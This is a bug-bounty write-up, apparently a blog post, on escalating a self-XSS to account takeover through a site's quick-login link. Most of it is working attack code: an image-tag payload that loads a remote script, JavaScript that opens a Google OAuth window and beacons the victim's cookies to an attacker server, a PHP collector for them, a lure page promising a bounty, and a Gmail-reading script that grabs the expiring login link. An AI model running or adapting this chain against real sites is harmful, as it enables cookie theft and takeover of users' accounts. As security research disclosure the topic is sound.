Self-XSS to ATO via Site Features

Self-XSS to ATO via Site Features

Escalate Self-XSS to account takeover through Quick Login feature

Hey guys,

I hope you are well. First, I want to thank you for sharing your love for my waybackurl extension and for starring the "small tools for hackers" on GitHub.

In this article, I want to share a cool self-XSS that I escalated to an account takeover using site features in a public program. I will explain how I found it, how to exploit it, and how to present it using the Google API to trigger it like a hacker in the real world.

How I found Self-XSS

In this case, I pasted my XSS payload into the name field on the profile page. The payload was:

<img/src/onerror='alert(1)'>

The website was built using Next.js technology. On the profile page, everything was secure, and characters like quotes, >, and < were encoded. I decided to explore other pages. After opening many pages, I finally landed on one where my payload executed! I was so surprised and excited. After that, I tried to escalate the issue. I needed a way to bring victims to my account and then redirect them to this page. But how?

Usually, hackers use Login CSRF, but this method didn't work for me. I checked status codes in Burpsuite to find a redirect or something similar. I discovered a request containing a JWT in the redirect_uri property in the response body, but I didn't have the secret key. I tried to crack it, but it didn't work. I got sad and left the desk.

After a break, I opened the landing page in private tab. I figured out there is a button for login.

This website had 3 methods for login:

  1. Quick login: This method sends a link to your email, allowing you to log in without a username and password. The link is valid for 10 minutes and expires after that.

  2. Normal user and password.

  3. Login via Google or FB.

I tried using the Quick login method. The website sent a login link. After clicking on it, the link redirected me to the landing page.. Bingo. That was exactly what the doctor ordered.

So the plan so far is:

  1. Add payload to profile

  2. Deliver the quick login to the victim

But there are two issues:

  1. I had just 10 minutes to deliver it to the victim. Certainly, the trigger would mark it as low impact or informative.

2. Cookie flags :(. I didn't have access to the cookies via JS.

How to exploit my Self-XSS to ATO?

First, I decided to tackle the biggest challenge: how could I take over the victim's account?
I had several scenarios in mind that I wanted to test. The first scenario was to steal the SSO token from the child window. But after investigating, I found that the application didn't set the token in the URL.

I told myself, "Okay, maybe we can steal the child cookies when I use window.open." So, I went back to the profile and changed the payload:

<img/src/onerror='s=document.createElement("script");s.src="https://myserver/script.js";document.body.append(s);'>

and my script.js

let exploitWindow = window.open(
    'https://accounts.google.com/o/oauth2/auth?redirect_uri=https://example.com/auth/google/callback&response_type=code&scope=email&client_id=0000000000-0000000.apps.googleusercontent.com&state={"app":"bla-bla","redirect":"https://www.example.com/landingpage","":"undefined","callback":"https://clb.example.com/auth/google/callback"}&nonce=00000',
    "example",
    "width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);

var checkClosed = setInterval(function() {
    navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookiex:exploitWindow.document.cookie}));
    if (exploitWindow.closed) {
        clearInterval(checkClosed); 
        var cookies = document.cookie;
        alert(cookies);
        console.log(cookies);
        navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookie:cookies}));
    }
}, 1000);

Code Review

With the code below, I opened login form via google

let exploitWindow = window.open(
    'https://accounts.google.com/o/oauth2/auth?redirect_uri=https://example.com/auth/google/callback&response_type=code&scope=email&client_id=0000000000-0000000.apps.googleusercontent.com&state={"app":"bla-bla","redirect":"https://www.example.com/landingpage","":"undefined","callback":"https://clb.example.com/auth/google/callback"}&nonce=00000',
    "example",
    "width=600,height=400,status=yes,scrollbars=yes,resizable=yes"
);

And with this code, every second, I was checking the cookies and sending them to my server. Since I didn't know when the form would complete, I used exploitWindow.closed to send the final cookies to my server.

var checkClosed = setInterval(function() {
    navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookiex:exploitWindow.document.cookie}));
    if (exploitWindow.closed) {
        clearInterval(checkClosed); 
        var cookies = document.cookie;
        alert(cookies);
        console.log(cookies);
        navigator.sendBeacon('https://myserver.com/save.php',JSON.stringify({cookie:cookies}));
    }
}, 1000);

and save.php code is

<?php
$data = file_get_contents('php://input');
if (!empty($data)) {
  $file = fopen("c.txt", "a"); 

  if ($file) {
    $json_data = json_encode($data);  

    fwrite($file, $json_data ? $json_data . PHP_EOL : $data . PHP_EOL);

    fclose($file);

    echo "POST data saved successfully!";
  } else {
    echo "Error opening file for writing.";
  }
} else {
  echo "No POST data received.";
}

Last but not least:

So far, I was able to bring the victim to my account and steal their cookies. However, there is another problem: the quick link has a short lifespan of just 10 minutes.

For this issue, I decided to work with the Google API to read my Gmail and grab the link. Here is the plan for this step:

  1. Send request to the server for quick login

  2. Get the link by Google API

  3. Redirect the victim via the link

I made a page to deliver the victim and implemented steps 1, 3 on it. the code is: (main.html)

<!DOCTYPE html>
<html>
  <head>
    <title>PoC</title>
  </head>
  <body>
    <h1>
      For Demo!
      <br />
      Login with google and get $2000 bounty!

      Redirect to www.blablab.com... 
      <img id="loading" src="https://media1.giphy.com/media/v1.Y2lkPTc5MGI3NjExZW1pY3ZrMTlobDI0YTl1ZWIzdWx3cTZid2cyNGVndzN3dTl5a3RwZSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/wnYB3vx9t6PXiq1ubB/giphy.gif">
    </h1>
    <script>
      function reqListener() {
        const res= JSON.parse(this.responseText);
        loading.remove();
        // redirect the victim to attacker account
        window.location.href=res.link;
      }
      // Get the Quick link from my email
      function getLink(){
        const req = new XMLHttpRequest();
        req.addEventListener("load", reqListener);
        req.open("GET", "https://myserver.com/readEmail.php");
        req.send();
      }
      // Request to send Quick login link
      function revokeLink(){
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/www.blablab.com\/api\/multipass\/account\/quick_logins\/login_token", true);
        xhr.withCredentials = true;
        var body = "{\"email\":\"www.myemail@gmail.com\",\"sign\":\"hahahaha\",\"data\":\"blablablabl\"}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      // First Request the link from site
      revokeLink();
      // Then wait for 5sec and reademail and get it
      setTimeout(()=>{
        getLink();
      },5000);
    </script>
  </body>
</html>

Read email from Gmail via API

For this case, I used "Google App Script" and PHP. (step 2)

First, you need to log in to https://script.google.com and create a script with GET and POST methods. I used Gread library written by someone I don't know. The library code is:

1stOxyACJLkbzvr-u4dd_hpxjK5vXQ96YdZtHu8DGVLtMfYgoKhfXjBDe

and script codes are:

function doGet(e){
  return ContentService.createTextOutput('not allowed!');
}

function doPost(e){
  var o = Greader.builder(e);
  return ContentService.createTextOutput(o);
}

So far, we have created our API. To read Gmail, I wrote this code (readEmail.php):

<?php
header("Access-Control-Allow-Origin: *");
function c($scriptUrl,$data){
      $ch = curl_init($scriptUrl);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
      $result = curl_exec($ch);
      return json_decode($result, true);
}
$scriptUrl = "https://script.google.com/macros/s/blablabla/exec";
$limit  = 10;
$offset = 0;
$data = array(
    "action" => "inboxList",
    "limit"  => $limit,
    "offset" => $offset
);
$result = c($scriptUrl,$data);
if($result['status'] == 'success'){
    foreach($result['data'] as $inbox){
        $dataInbox = array(
            "action" => "inboxRead",
            "id"  => $inbox['id'],
        );
        if($inbox['from']=='noreply-service@example.com' && $inbox['subject']=='Quick Login Verification Email'){
            $regex = '/https:\/\/blabla\.example\.com\/auth\/quick\/callback.*"/';  // More specific regex
            $a= c($scriptUrl,$dataInbox);

            if (preg_match($regex, $a['data']['body'], $matches)) {
                $link = str_replace('&amp;', '&', $matches[0]);
                $link = str_replace('"','',$link);
                $json_data = json_encode(array('link' => $link));
                header('Content-Type: application/json');
                echo $json_data;
            }
            die;
        }
    }
}

How to Present?

Now I have a page that requests the site to send a Quick Login Link. The site sends the link to my email. After 5 seconds, my code checks my Gmail, gets the link, and redirects the victim to the landing page with my cookies. On the landing page, my payload executes and opens a window that prompts the victim to log in with their Gmail. If they are already logged in, they will log in without any clicks, and I can get their cookies. Otherwise, I will get their cookies after they log in.

Best

I hope this code and article are useful and help you make money. I look forward to seeing your happiness and success, so please send your positive vibes my way. :)

Thanks for reading, sharing and everything that I don't know.

What’s next? Who knows? If I survive, I will write another article. (<3 packet)